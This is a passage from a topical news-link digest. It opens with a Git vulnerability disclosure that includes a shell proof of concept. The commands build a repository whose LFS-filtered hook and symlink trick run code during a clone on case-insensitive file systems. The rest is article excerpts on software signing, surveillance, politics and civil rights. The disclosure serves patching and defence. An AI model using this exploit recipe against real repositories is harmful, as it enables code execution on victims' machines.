echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned
With Git LFS enabled globally, this will print "PWNED" during the clone
on case-insensitive file systems with support for symbolic links (such
as NTFS, HFS+, etc).
Credit for finding the vulnerability goes to Matheus Tavares who also
worked with me on fixing it.
Thanks,
Johannes
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Several new versions of the Git source-code management system have been released; they fix a vulnerability that could allow a hostile remote repository to execute code locally during a clone operation. Only users with case-insensitive filesystems are affected, reducing the set of possible targets considerably, but an update still seems like a good idea.
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The Linux Foundation, with the support of Google, Red Hat, and Purdue University, is launching a service called sigstore to help developers sign the code they release.
Signing code involves associating a cryptographic signature with a specific digital artifact – release files, container images, and binaries – so that the person using the software can check the code’s signature to verify that the release is authentic and hasn’t been altered by someone along the way.
“Sigstore enables all open source communities to sign their software and combines provenance, integrity and discoverability to create a transparent and auditable software supply chain,” said Luke Hinds, security engineering lead in Red Hat’s office of the CTO, in a statement.
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The just-announced sigstore aims to improve the security of the software supply chain by enabling the easy adoption of cryptographic software signing backed by transparency log technologies. It will do this by empowering developers to securely sign software artifacts such as release files, container images, and binaries. These signing records will then be kept in a tamper-proof public log. This service will be free for all developers and software providers to use. The sigstore code and operation tooling that will be used to make this work is still being developed by the sigstore community.
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Surveillance
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It may be many months before college campuses across the U.S. fully reopen, but when they do, many students will be returning to a learning environment that is under near constant scrutiny by law enforcement.
A fear of school shootings, and other campus crimes, have led administrators and campus police to install sophisticated surveillance systems that go far beyond run-of-the-mill security camera networks to include drones, gunshot detection sensors, and much more. Campuses have also adopted automated license plate readers, ostensibly to enforce parking rules, but often that data feeds into the criminal justice system. Some campuses use advanced biometric software to verify whether students are eligible to eat in the cafeteria. Police have even adopted new technologies to investigate activism on campus. Often, there is little or no justification for why a school needs such technology, other than novelty or asserted convenience.
In July 2020, the Electronic Frontier Foundation and the Reynolds School of Journalism at University of Nevada, Reno launched the Atlas of Surveillance, a database of now more than 7,000 surveillance technologies deployed by law enforcement agencies across the United States. In the process of compiling this data we noticed a peculiar trend: college campuses are acquiring a surprising number of surveillance technologies more common to metropolitan areas that experience high levels of violent crime.
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On today’s episode of Decoder, I talk with Kayvon Beykpour, the head of consumer product at Twitter. He’s responsible for deciding what tools Twitter actually builds for people to express themselves. Twitter’s product is incredibly important — it is a flashpoint of interest and controversy for politicians and regulators around the world, and it often seems like politicians in our own government don’t know the difference between Twitter and real life.
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The acquisition is expected to close in Q1 2021 and is expected to have an immaterial impact on 2021 operating results.
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Ineffective facial recognition risks false identification, particularly of non-white people. A 2019 study by the National Institute of Standards and Technology, a federal agency, tested 189 facial-recognition algorithms from 99 developers, and found that they were far worse at identifying Asian and African-American faces than white ones—sometimes giving as many as 100 times more false positives for non-white faces than for white ones.
Similar concerns have led other jurisdictions to mull or impose limits on the use of facial recognition. A police-reform measure due to take effect in Massachusetts in July, for instance, requires that police obtain judicial approval before running a facial-recognition search, and then have someone else do it for them. Similar measures have been introduced in at least seven state legislatures.
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Legacy Edge was originally codenamed “Spartan” and was included with Windows 10 as the operating system’s default web browser before it was officially named Edge. The Edge mantle is being taken up by Microsoft’s Chromium-based browser, which was in beta throughout 2019 and officially launched in January 2020. This means Edge (the old Edge, that is) survived just over a year alongside its replacement. Microsoft also says Legacy Edge will automatically be removed by the April Windows 10 update, with the new Edge being installed in its stead.
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PCs have no expiration date. Chromebooks do. However, executives at Google said Tuesday that they’re working with Chromebook makers to ensure that you won’t end up buying a Chromebook that will go out of support anytime soon.
During a press briefing to mark the 10th anniversary of Chrome OS and Chromebooks on Tuesday, a reporter asked the Google executives on the call about a typical Chromebook experience: Once a Chromebook’s support window expires, it won’t receive updates. If a website or service requires an up-to-date browser to access it, does that mean the unsupported Chromebook is now worthless?
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Defence/Aggression
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There is a well-established tradition of scholarly writing that treats geographical areas of the world as natural, preformed backgrounds against which historical events unfold. This perspective, with roots in Enlightenment thinkers like Montesquieu, lives on in the work of conservative political theorists like Samuel Huntington, for whom civilizations were built on permanent geo-ethnic blocs, as well as in the work of Marxist scholars like Immanuel Wallerstein, for whom center and periphery were products of long-term geographical imbalances.
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“We heard loud gunshots, and saw that a young kid’s head had exploded, and there was a river of blood on the street,” said Sister Ann Rose Nu Tawng. “We need to value life. It made me feel so sad.”
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The EU police agency is to process more „big data“ and receive personal data from private companies. Preventive cooperation with third countries will be expanded, this also concerns secret services.
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Instead of describing the makeup of the rioters who broke into the Capitol, both the liberal and conservative TV media covered the event by asking who was responsible for organizing the attack and for not properly preparing for it.
The liberal stations tended to focus on the more clearly identified militant terrorist groups, like the Proud Boys and the Oath Keepers as the on-site leaders. After vehemently criticizing the siege of the Capitol, the conservative commentators managed to accuse the Democrats, particularly House Speaker Nancy Pelosi, for failing to protect the Capitol from the Trump rioters. They made little mention of the various right-wing militant groups that were in front of the mob.
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This U.S.-led cabal had convened in Riyadh, Saudi Arabia in December 2015 with 116 participants – none representing the Syrian government – to negotiate among themselves Syria’s anticipated division and its future “leaders.” President Barack Obama’s Secretary of State John Kerry effectively presided over this “Syrian Opposition Conference.” Said Kerry, “We welcome the positive outcome of the gathering of the Syrian opposition in Riyadh today including reaching a consensus on principles for a pluralistic and democratic [division of] Syria… We appreciate that this extremely diverse group of Syrians put aside differences in the interest of building a new Syria.”
Warmaker Biden
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How things have changed from just three years ago. There were $2.01 billion in pledges in 2018, “100 per cent of which were fulfilled,” according to the UN Office for the Coordination of Humanitarian Affairs. Pledges the following year rose to $2.6 billion.
Then came 2020. That year’s pledges of $1.35 billion fell a billion dollars short of the UN goal of $3.4 billion.
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Perhaps the take away from all this is that, so long as Muslims see and/or portray themselves as the victims—and most Muslims, “moderate” or “radical,” see the Muslim world as on the defensive, including those young Muslims who plotted to bomb a Paris building and even most members of the Islamic State and virtually every other terrorist group—so long will anything go in the jihad.
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He then classified secularists, noting that they are not all at the same level of unbelief. The “most evil and malicious type of secularists,” according to Al-Maqdisi, are “the type of Pharaoh and those who detest and reject religion completely… prevent people from believing it and reject its rules and declare their atheism.” The level after that, he wrote, are “those who are not hostile against the religion but they reject its involvement in worldly matters, governing, and politics. And there is a third group whom we could call Erdoğanists. They have their own definition of secularism as they do accept shari’a verbally and may be in their personal behavior but they would not include it in governing and political systems and they consider all religions and their adherents equal as they would not disavow any aspects of the false beliefs and they would not consider Islam any different from or superior to them.”
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Investigators said the 36-year-old was part of an IS cell that had been operating in France and Belgium with his two brothers, according to Italian media.
He had reportedly already been in prison in Bari for carrying false documents and was set to be released in June.
The suspect is also believed to have had contact with two of the extremists involved in the Paris attacks of January 2015, who attacked a Jewish supermarket and the Charlie Hebdo newsroom.
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Transparency/Investigative Reporting
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The post was originally published as part of The Dissenter newsletter. To subscribe, go here.“Is there anyone working on regulation protecting Ethical AI researchers, similar to whistleblower protection?” Timnit Gebru asked on Twitter. “Because with the amount of censorship and intimidation that goes on towards people in specific groups, how does anyone trust any real research in this area can take place?”Gebru, a Black woman, was the co-lead of Google’s “Ethical Artificial Intelligence (AI)” team. On December 2, two days after posting this message, Google fired Gebru. It was in response to an ethics research paper that reportedly included criticism of the environmental impact of AI models.Now, AI researcher Dr. Margaret Mitchell, who was also involved in leading the “Ethical AI” team, was fired on March 5 after Google locked her “out of her work account for five anxious weeks.” The retaliation came after she shared a document with Google’s public relations department that questioned their stated reasons for terminating Gebru.Google Walkout For Real Change (GWRC), a group of Google employees, have seized the moment to demand Congress and state legislatures strengthen whistleblower protections for tech employees like Gebru and Mitchell.“The existing legal infrastructure for whistleblowing at corporations developing technologies is wholly insufficient,” GWRC declares. “Researchers and other tech workers need protections, which allow them to call out harmful technology when they see it, and whistleblower protection can be a powerful tool for guarding against the worst abuses of the private entities which create these technologies.”As UC Berkeley Center for Law and Technology co-director Sonia Katyal told VentureBeat’s Khari Johnson in December, “What we should be concerned about is a world where all of the most talented researchers like [Gebru] get hired at these places and then effectively muzzled from speaking. And when that happens, whistleblower protections become essential.”Johnson noted Katyal is “concerned about a clash between the rights of a business to not disclose information about an algorithm and the civil rights of an individual to live in a world free of discrimination. This will increasingly become a problem, she warned, as government agencies take data or AI service contracts from private companies.”There are a number of examples that show a need for whistleblower protection to protect AI researchers, who challenge corporations from within their industries. Like Johnson highlighted, “A fall 2019 study in Nature found that an algorithm used in hospitals may have been involved in the discrimination against millions of Black people in the United States. A more recent story reveals how an algorithm prevented Black people from receiving kidney transplants.”“Drs. Mitchell and Gebru also built one of the most diverse teams in Google Research, people who could connect their lived experiences to practices of power, subjection, and domination which get encoded into AI and other data-driven systems,” according to GWRC.
The group maintains Gebru and Mitchell were “working in the public interest” and spent time critically examining the “benefits and risks of powerful AI systems — especially those whose potential harms outside of the Google workplace were likely to be overlooked or minimized in the name of profit or efficiency.” (Both also complained about workplace conditions to the human resources department.)“Google workers have been organizing from within, raising inextricably linked issues of toxic workplace conditions and unethical and harmful tech to leadership and to the public,” GWRC adds. “With the firing of Drs. Mitchell and Gebru, Google has made it clear that they believe they are powerful enough to withstand the public backlash and are not concerned with publicly damaging their employees’ careers and mental health.”“They have also shown that they are willing to crack down hard on anyone who would perturb the company’s quest for growth and profit.”The group concludes, “Google is not committed to making itself better and has to be held accountable by organized workers with the unwavering support of social movements, civil society, and the research community beyond.”
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France said on Tuesday that researchers will get easier access to classified government files more than 50 years old, especially those pertaining to the Algerian war, still a highly controversial chapter of French history.
President Emmanuel Macron has ordered the archives services to speed up access to documents that qualify for declassification up to 1970, his office said in a statement, “notably documents relating to the Algerian war”.
French heritage laws say official documents must be released to researchers and the public after 50 years.
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Environment
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The forest, a Unesco World Heritage Site shared with Belarus, was the centre of discord between the EU and Poland from 2016 to 2018.
Logging was suspended in 2018 after the European Court of Justice ruled that Poland had broken EU law by felling trees that were older than 100 years.
The government says logging is needed to clear paths and protect trees from an infestation of spruce bark beetle.
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But, in July 2019, Charleston environmental lawyer Andrew Wunderley arrived on the beach after getting a tip from a dog walker who’d noticed something strange in the sands along Sullivan’s Island. Wunderley arrived to discover an extraordinary number of tiny white bits, so dense and widespread on the beach and in the surf that he later compared them to sleet. The bits were newly manufactured pieces of plastic resin, known as nurdles, which pose hazards to wildlife and contaminate the environment as they breakdown into microplastics.
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As ever, the poorest people will most feel the heat in a hotter world. But a green growth initiative could help them.
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We wouldn’t be forced to tackle these unprecedented challenges were it not for the oil and gas industry that has spent decades polluting our climate and lying about it in order to protect their profits.
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Energy
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“This powerful decision,” said Naomi Klein, “sends an unequivocal market message that the era of fossil fuels is finally coming to an end and that our collective future rests with clean, renewable energy.”
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The $3 billion wind farm will be America’s first commercial scale offshore wind installation.
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The federal agencies had moved to dismiss the case, but on Monday, the court rejected that challenge. The court held that the motion to dismiss was “meritless” and that challenges to “local distribution” pipelines like the Crow Creek pipeline must proceed in federal district court. The court pointedly held: “Defendants seem to think because the Crow Creek Pipeline will cross the state line of Idaho and Wyoming, the [Natural Gas Act] ipso facto continues to apply despite a local distribution service area determination. But the [Natural Gas Act] itself, the caselaw cited, and the record in this case conclusively and swiftly put an end to such a meritless legal position.”
Last November the Forest Service authorized a private company to clear-cut a 50-foot wide, 18.2-mile-long corridor through National Forest public lands for construction of an underground natural gas pipeline in southeastern Idaho. Our public lands are for the public and for our public wildlife — they do not exist for the convenience or profit of the fossil fuel industry. We are happy that the court ruled our lawsuit can proceed. We will continue to fight this pipeline and the fossil fuel industry’s refusal to acknowledge that the times are changing and we need to be focusing federal government subsidies on renewable energy and climate-smart policies — not continued reliance on fossil fuels.
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Wildlife/Nature
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The problem of cows (and sheep) in the wilderness goes back to the original debate around enacting the Wilderness Act. House Interior and Insular Affairs Committee Chairman Wayne Aspinall (D Colorado) was a staunch proponent of the livestock industry and would not allow the legislation to pass out of committee for a vote unless some accommodation was made for continued grazing of livestock.
Even more egregious is that, unlike other public lands, termination of livestock grazing in wilderness areas is more challenging than non-wilderness lands. Livestock grazing can only be eliminated if it has significant impacts on other resource values, and wildlands values are not one of those resources.
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Finance
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The Republican Party is in chaos. Defeated former President Donald Trump remains the dominant figure in the party he remade in his own image, despite the fact that polls show 68 percent of Americans don’t want him to remain a major figure in American politics. Worse yet, Trump is threatening to use his popularity with the GOP base to punish Republican members of Congress and state officials who refuse to go along with his Big Lie claims about the 2020 election. So, all in all, these should be the best of times for Democrats.
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Three-quarters of the workers who would benefit are represented by senators who opposed including the pay hike in the next relief package.
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Most puzzling is the dark cloud of Republican opposition to helping out their fellow Americans. Why would anyone demand that the 628-page relief bill be read in its entirety on the floor of the Senate just to hold up the funding that polls show more than two-thirds of the public support? Yet, that’s just what happened late last week when Ron Johnson, a Republican senator from Wisconsin decided to play cute and jam the process of actually considering the legislation on its merits.
Perhaps these same Republicans, who had no problem whatsoever in delivering a trillion dollar tax break to the already wealthy, actually believe they are serving the nation by suddenly exhuming the corpse of “fiscal responsibility” that only seems to arise when a Democratic measure to help the populace is being considered.
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Russians consider rising prices the main problem facing their society, according to survey data from the independent Levada Center shared with Meduza. This opinion was held by 58 percent of survey respondents.
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“If that is not suspicious, I don’t know what is. Somebody clearly knew something.”
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AstroTurf/Lobbying/Politics
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The Republicans have realized that their biggest problem is that voters don’t like them or their policies. Rather than adapt, their solution appears to be to get rid of the voters.
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Make no mistake, these appointments matter—these individuals will be shaping and informing policy decisions at the highest levels of government, affecting millions of lives in the process.
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Rep. Alexandria Ocasio-Cortez said the ban had “created a lot of dissuasion against candidates even considering grassroots organizing firms.”
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The video use raises more questions. Rather than post links, Guilbeault has at times made a copy of the video and posted it directly to Facebook. For example, this post features his full appearance on Tout le Monde en Parle. The segment is available online and could be linked, but Guilbeault instead made a copy of the 14 minute appearance and uploaded it himself, thereby denying the referral to the original broadcaster. Did he obtain permission or a licence? Does he think that posting a full 14 minute video is fair dealing? In fact, he’s done the same thing many times, including to videos he has copied and uploaded where he is criticizing the Internet platforms for their practices. Perhaps a closer examination of his own social media practices are in order.
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The Senate majority leader said he “just filed cloture to move ahead” with the New Mexico congresswoman’s nomination.
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His comments came ahead of a House vote on the PRO Act, which aims to protect the rights of workers to unionize and collectively bargain for better pay, benefits, and working conditions.
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We are once again at a crucial juncture for civil rights and voting rights, one that will shape our nation for decades to come. Joe Biden must learn from LBJ, and wield the power of the presidency to make senators fall in line with the larger goals of the nation. Otherwise, as LBJ asked, “what the hell’s the presidency for?”
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We give government agencies a whole lot of power. That’s the way the government works: we, the people, allow agencies to perform their duties with minimal interference and, in exchange, we theoretically benefit from these services we pay for indirectly.
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Standing against the scorching blue backdrop at the EU podium in late 2017, then British Prime Minister Theresa May mendaciously promised to “counter [Russian] disinformation” in all the former Soviet republics of Eastern Europe, Eurasia and the Baltics by pledging €110 Million ($130 Million) over five years to fight the Kremlin’s influence in the region.
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As do pestilence, famine, war, and death.
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The Four Horsemen of our media apocalypse—Rush Limbaugh, Roger Ailes, Rupert Murdoch, and Donald Trump—have ridden roughshod over us this past half-century leaving their hoofprints on our politics, our culture, and our lives. Two of them are gone now, but their legacies, including the News Corporation, the Fox News empire, and a gang of broadcast barbarians will ensure that a lasting plague of misinformation, propaganda masquerading as journalism, and plain old fake news will be our inheritance.
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The original Four Horsemen were biblical characters seen as punishments from God. By the time they became common literary and then film currency, they generally went by the names of Pestilence, War, Famine, and Death. Matching each with Limbaugh, Ailes, Murdoch, and Trump should prove a grisly but all-too-relevant parlor game. The originals were supposed to signal end times and sometimes, when I think about their modern American descendants, I wonder if we’re heading in just that direction.
Reflecting on the lives of those modern embodiments of (self-) punishment makes me wonder how we ever let them happen. Isn’t there any protection against evil of their sort in a democracy, even when you know about it early? Maybe when evil plays so cleverly into fears and resentments or is just so damn entertaining, not enough people can resist it. Hey, I even worked for one of the horsemen. It was my favorite job… until it wasn’t.
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Their chances of winning on issues remote, Suppression’s what’s keeping their party afloat. Their strategy’s sung on a singular note: You can’t vote against them unless you can vote.
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“What they just didn’t expect is that we got better and better at organizing and out-organizing them at every turn,” said Judith Whitmer, newly elected chair of the Nevada Democratic Party.
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“One of the worst voter suppression bills in the country” just advanced in Georgia’s Republican-controlled legislature.
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The former president slammed the Republican-controlled Legislature of his home state for trying to “turn back the clock” on voting rights.
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One answer to the various GOP-backed proposals that seek to restrict voting access is a 791-page piece of federal legislation known as H.R. 1. The bill, also referred to as the “For the People Act” was passed by the U.S. House of Representatives on March 3, and if passed in the Senate it would address the various methods of voter suppression that continue being employed by the GOP. This bill will require states to: automatically register eligible voters and offer same-day registration, restore the voting rights of former felons, allow no-excuse absentee balloting, and offer 15 days of early voting. H.R. 1 also seeks to make our elections more ethical by enforcing more restrictions and transparency in regard to campaign financing and by restricting partisan gerrymandering (when a political party redraws boundaries for its own benefit). Another iteration of the “For the People Act” was passed by House Democrats in 2019, but it was blocked in the Senate by Mitch McConnell. Now that the Democrats have control of the House, Senate, and White House, they have a chance to pass this groundbreaking legislation, but the odds are slim because of the highly controversial filibuster. To overcome a filibuster, H.R. 1 will need the support of all 48 Democrats, the 2 Independents who caucus with them, and 10 Republicans.
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Censorship/Free Speech
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A magistrate in St. Petersburg has fined the social networking site VKontakte 1.5 million rubles ($20,280) for refusing to remove content calling for participation in unauthorized protests.
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We’ve been highlighting a wide variety of state bills from Republican-led legislatures that all attempt to attack Section 230. Nearly all of them are blatantly unconstitutional attacks on the 1st Amendment. Somewhat incredibly, the latest one from Tennessee might not actually be unconstitutional. That doesn’t mean it’s good. In fact, it’s not just incredibly stupid, but demonstrates that the bill’s authors/sponsors are so fucking clueless that they have no idea what they’re doing. In effect, they’d be banning the state from investing any money it holds. To spite Section 230.
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Several governments are now reckoning with, and seeking to rein in, the power of large global tech companies. Australia, Europe and the United States have floated regulations in recent months that aim to blunt some of that power.
India is no different in targeting big tech firms, but much of its focus in recent months has been around protecting its national security and sovereignty — and it has a lot of leverage. The country’s 750 million internet users, with hundreds of millions more yet to come online for the first time, are crucial to Big Tech’s global growth prospects. Facebook (FB), Google (GOOGL), Amazon (AMZN), Netflix (NFLX) and several others have already poured billions of dollars into growing their Indian operations.
The Modi government’s regulations have created a chilling effect on those companies and emboldened Indian apps to position themselves as a better fit for the country’s users. The big question now is whether the government simply promotes and encourages made-in-India apps or creates a regulatory environment where they’re the only ones left standing.
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Freedom of Information/Freedom of the Press
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There’s an ongoing trial in (of all places) Iowa that cuts to the heart of First Amendment protections for journalists. Andrea Sahouri, an award-winning journalist for the Des Moines Register, was arrested last May during a protest resulting from the killing of an unarmed black man by Minnesota police officer Derek Chauvin.
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To his supporters, MbS became first in line to the Saudi throne by championing reform in a deeply conservative Gulf kingdom, taking on corruption, confronting religious extremists, and promising to modernize the economy. “Someone had to do this job — wrench Saudi Arabia into the 21st century — and MBS stepped up,” wrote Thomas Friedman in an oft-cited column from November 2017. “I, for one, am rooting for him to succeed in his reform efforts.”
Not only impressionable opinion-makers have fallen for the prince’s charm. In 2017, MbS won the reader poll for Time’s person of the year with an astonishing 24 percent of the votes. Second place, at 6 percent, went to the magazine’s eventual pick for its cover, the #MeToo movement, while Canadian Prime Minister Justin Trudeau garnered a mere 4 percent, Pope Francis 3 percent, and Donald Trump 2 percent.
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Ah, we were so young then. We excoriated the Obama administration for attacking and prosecuting whistleblowers at a faster clip than any other administration in history.
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But a rich owner does not necessarily transform a newsroom into a journalism utopia. They are “not a panacea,” multiple people who work in these newsrooms told CNN Business. They do tend to alleviate the pressures that come with being a part of a publicly traded company or a hedge fund seeking high profit margins. But staffers are still at the whims of a super rich and sometimes capricious owner, and they often have to deal with some of the same issues they’d face with different owners. Employees must adapt to strategic shifts, often billed as “restructurings.” They watch as their colleagues get laid off, resources dwindle and journalism suffers. And on top of that there’s always fear that an owner could suddenly decide their hobby needs to make real money and impose painful measures as a result — or simply get bored and sell the company.
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Andrea Sahouri, a reporter for The Des Moines Register, was pepper-sprayed and briefly detained after police and protesters clashed during the protest over the death of George Floyd while in police custody in Minneapolis, Minnesota. At the time, Sahouri was with her then-boyfriend, Spenser Robnett, who faces the same charges of failure to disperse and interference with official acts.
A defense lawyer told jurors Monday that Sahouri was wrongly arrested while doing her job as a journalist.
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Civil Rights/Policing
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There were far fewer people who went to the protests than people who voted for Putin in the elections — this was the Kremlin’s assessment of the pro-Navalny demonstrations that took place across Russia on January 23 and 31. Police officials also supported this statement, reporting less than 10,000 people on the streets of Moscow during the rallies. However, Meduza has uncovered that all this time, the FSB had been collecting its own statistics on the protests — and its findings are at odds with official statements. As evidenced by an internal report, the number of people detained amid the protests was even higher than estimates from human rights groups. And according to the FSB, a total of 90,000 people took part in the countrywide demonstrations. Now, the security service is seriously studying the protest potential of Russian citizens. Meduza special correspondent Liliya Yapparova breaks down the conclusions the FSB has reached so far.
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My proverbial backyard was the best place to begin my journey to motherhood through adoption. In Los Angeles County, where I live, 20 percent of the 20,876 children in foster care are Black. Black children here, and in the rest of the country, are overrepresented in the system, and that is the reason I signed up to become a foster/adoptive parent in 2006. I wanted to make a difference in the life of a Black child—a baby boy, to be specific. Black male infants are the least likely to be adopted, because of false assumptions about who they are—aggressive, incorrigible—and who they will become: gangbangers, violent. I was confident I could help change that narrative, because I easily saw beyond that cruel stereotype. Years later, I would add a Black princess to my lot, also through adoption, making my motherhood mission complete.1
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I couldn’t persuade my 6-year-old daughter to change out of her flannel footie pajamas even though it was the height of summer, but at least I got her to put her mask on. We threw the other kid, 3, on the cargo bike alongside her stubborn, sweating sister, taped on our homemade Black Lives Matter sign, and headed to the high school down the street. Our kids looked at us, bewildered, as we got closer. Their wide eyes essentially asked: Why are we deliberately heading into a crowd of thousands after avoiding even our closest neighbors for months?1
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For more than 40 years, America’s unions have endured body blow after body blow, inflicted by Republicans and abetted by the neglect of pro-corporate Democrats. But now, the tide is turning. The House is set to pass, for a second time, the Protecting the Right to Organize (Pro) Act, which would dramatically strengthen unions. President Biden, the most pro-union chief executive in recent history, issued an extraordinary message in support of workers in Bessemer, Ala., attempting to unionize a large Amazon warehouse. Polls show that young people strongly support strengthening unions. And a diverse new generation of labor leaders is forming coalitions to fight back against anti-union campaigns.
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Fifty years ago, on March 8, 1971, a group of eight activists staged one of the most stunning acts of defiance of the Vietnam War era when they broke into an FBI office in Media, Pennsylvania, and stole every document they found. The activists, calling themselves the Citizens’ Commission to Investigate the FBI, began leaking shocking details about FBI abuses to the media. The documents exposed COINTELPRO, the FBI’s secret Counterintelligence Program, a global, clandestine, unconstitutional practice of surveillance, infiltration and disruption of groups engaged in protest, dissent and social change. Targets included Martin Luther King Jr., the Black Panthers, the American Indian Movement, the Young Lords, antiwar groups, Black booksellers and other organizations. The leaked documents triggered congressional investigations, increased oversight and the eventual passage of the Foreign Intelligence Surveillance Act. The FBI never knew who was involved in the break-in until 2014, when several of the burglars made their identity public to coincide with the publication of a book about the break-in. To mark the 50th anniversary, we speak with Bonnie Raines, one of the activists involved in the heist, as well as Paul Coates, the founder and director of Black Classic Press and BCP Digital Printing, who was a target of FBI surveillance as part of COINTELPRO. “We already knew that we were being infiltrated. We knew that provocateurs were all throughout. We knew that the FBI had us under constant surveillance,” says Coates. “But I don’t think anyone at the time really knew the full extent of the program.”
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The murder trial of Derek Chauvin, the former Minneapolis police officer charged with second-degree murder and manslaughter for killing George Floyd, is proceeding to jury selection despite an order from an appeals court judge that a third-degree murder charge be considered, as well. We speak with Nekima Levy Armstrong, a civil rights attorney and racial justice activist, who says that if the trial proceeds, who serves on the jury could prove crucial in the case. “A big part of the concern is whether or not there will be any real diversity on the jury,” says Levy Armstrong. “The jury questionnaire had questions such as how the potential jurors may feel about Black Lives Matter, the defund the police movement, the Blue Lives Matter movement. All of those things are going to play a role in who is ultimately selected for the jury.”
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The end of a crooked and corrupt era in Mississippi is still paying long-belated dividends to wrongly convicted criminals in Mississippi. The state that has defined “backwater” for so many years is slowly crawling out of its self-created gutter.
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Nestled among a growing unhoused community in the Tenderloin District of San Francisco, sits an unremarkable gray and stout building. However, life inside 111 Taylor Street is anything but normal.
At the 140-bed halfway house operated by private prison company GEO Group, detainees are only allowed to leave the premises for work. They are crammed into narrow, dorm-style rooms with anywhere from two-to-fourteen other men, and speaking with the media may result in prison time.
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The Russian authorities have been forcing foreign nationals who participated in recent protests to leave the country, revoking their residency permits or even refusing to issue these documents in the first place. Meduza spoke to four such people, two of whom protested in support of imprisoned opposition politician Alexey Navalny and two of whom took part in demonstrations in support of the Belarusian opposition movement. Here are their stories.
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It’s the second day of my son’s life, and I’m crying because our four best friends won’t stop congratulating us. We’re in a hospital room, and our son is upstairs receiving extra oxygen, although everyone says there’s nothing to worry about. He was diagnosed with Down syndrome about five minutes after his birth, and medical professionals have been pouring out a lifetime of risk factors as a kind of ex post facto informed consent. Nothing’s going wrong at present, but the doctors want to tell us about everything that might go wrong eventually. We’re feeling numb and isolated. I’d posted a birth announcement on LiveJournal (the social media of the time) but disabled comments. I didn’t want to hear from anyone.
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National publications including La Jornada, Aristeguinoticias, Proceso and El Universal featured March 8 as a leading if not the most important story of the day. Women’s demands encompassed an end to gender violence and male impunity, opposition to patriarchy, and support for reproductive rights.
Despite the ongoing COVID-19 pandemic, Mexican media reported thousands of women demonstrating in the states of México, Michoacán, Hidalgo, Michoacán, Baja California, Chihuahua, Nuevo León, Jalisco, Aguascalientes, Zacatecas, Mexico City, Morelos, Guerrero and Chiapas, among others. “Not one more feminicide” was a slogan that echoed across the nation on March 8.
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In early February, a few weeks after President Biden announced that he would be nominating Boston Mayor Marty Walsh to head the Department of Labor, California Labor Secretary Julie Su was told the president wanted her as Walsh’s deputy.
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Amazon currently employs over half a million workers in the United States. Not a one of these employees has the protections of a union contract. Workers at Amazon’s Bessemer center are rising up early every morning to change that. Having a union at Amazon, they deeply believe, could make a real difference in their futures.
But not just Amazon workers figure to benefit from the outcome of the Bessemer balloting that ends later this month. The votes that Amazon’s Bessemer workers are casting could change the economic trajectory that has turned the United States — over the past half-century — into the world’s most unequal wealthy nation. Nothing that happens the rest of this year will likely do more to impact America’s unconscionably wide gap between rich and poor than how the Bessemer voting plays out.
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“Push, push, push, Mama; push,” my wife, Joia Crear-Perry, implored. Quiana, angled upright on the birthing bed, replied with grunts of effort. Quiana’s husband, Dooley, offered his support from where he stood at the head of the bed. I stood on the opposite side. It was my first time seeing my wife in action as a gowned and gloved ob-gyn. This article is adapted from Andre M. Perry’s book Know Your Price: Valuing Black Lives and Property in America’s Black Cities.
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Why bother looking at the deeper historical roots of a conflict when all you need to do is dredge up some evidence that the State Department has paid off some dissidents. Long before Max Blumenthal and his cohorts launched Grayzone, Michel Chossudovsky had perfected this methodology at Global Research. When young people filled Tahrir Square in Cairo to demand the overthrow of Mubarak, Tony Cartalucci took Mubarak’s side in a Global Research article because the National Endowment for Democracy had funneled some cash to his opponents. I am surprised that Chossudovsky did not sue Grayzone for the theft of intellectual property.
For this scenario to work, you have to find some cause célèbre. Until Victoria Nuland made that phone call to the US Ambassador to Ukraine in 2014, President Yanukovych was the people’s choice. Corruption? Police brutality? Russian meddling in Ukraine’s political affairs? What did that matter when liberals in the USA were cheering on Euromaidan?
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Psaki’s answer may have seemed reassuring, that the untold suffering experienced by hundreds of men in this American gulag – many of whom were surely innocent – would be finally coming to an end. However, considering the history of Guantánamo and the trail of broken promises by the Barack Obama Administration, the new administration’s pledge is hardly encouraging.
Compare the new language with that of Obama’s impassioned diatribes about humanity, justice and American values, which he utilized whenever he spoke of Guantánamo. “Gitmo has become a symbol around the world for an America that flouts the rule of law,” Obama said at a speech at the National Defense University in May 2013.
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Most recently, a 7-year-old Yazidi girl was rescued by police posing as buyers. According to Turkish journalist Hale Gonultas, who closely follows the fate of IS captives, police took action after an advertisement in Kurdish and Arabic, complete with the girl’s picture, appeared online Feb. 23. Posing as relatives of the child, the police made the highest bid and were able to detect the address of the advertiser. They raided a home in Ankara’s Kecioren district the following day and rescued the girl.
According to the official account of the incident, police and intelligence services established that a suspect, who was a ranking member of IS in Mosul, Iraq, had made it to Ankara, bringing along a Yazidi child as “war booty.” The man, identified only as S.O., was detained along with a suspected accomplice.
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Internet Policy/Net Neutrality
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To be clear: Space X’s Starlink low-orbit satellite broadband service won’t revolutionize the broadband industry. The service lacks the capacity to service dense urban or suburban areas, meaning it won’t pose much of a threat to traditional cable and fiber providers. With a $100 monthly price tag and $500 hardware fee, it’s not exactly a miracle cure for the millions of low-income Americans struggling to afford a broadband connection, either.
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To be clear, the US has always had a fairly pathetic definition of “broadband.” Originally defined as anything over 200 kbps in either direction, the definition was updated in 2010 to a pathetic 4 Mbps down, 1 Mbps up. It was updated again in 2015 by the Wheeler FCC to a better, but still arguably pathetic 25 Mbps downstream, 3 Mbps upstream. As we noted then, the broadband industry whined incessantly about having any higher standards, as it would only further highlight the vast impact of monopolization.
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Monopolies
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Juve Patent reported on an A4SI (for the notation, see this October 2020 post) that the Munich I Regional Court granted patent assertion entity InterDigital against smartphone maker Xiaomi. Dr. Arno Risse (“Riße” in German) did it again: in 2019, he had the innovative and brilliant idea to obtain an A2SI in Munich (in that case, as counsel of record to Nokia) and to my surprise defended that one on appeal.
What I absolutely dislike about the German approach to A2SIs (and, by extension, A4SIs) is that there’s no analysis–much less a multifactorial analysis–of the question of whether a German court should defer to a foreign court. The simplistic thinking is this: patents are good, patent lawsuits are even better, and the best patent suits are the ones filed in Germany; therefore, any foreign antisuit injunction would restrict the enforcement those sacrosanct German patent rights and must be prohibited, even though German law doesn’t allow antisuit injunctions. The argument is that the foreign antisuit activity unlawfully puts a patent plaintiff into a straightjacket with respect to intellectal property that would otherwise be enforceable in Germany. (In the U.S. and China, the analysis underlying an antisuit injunction is far more sophisticated.)
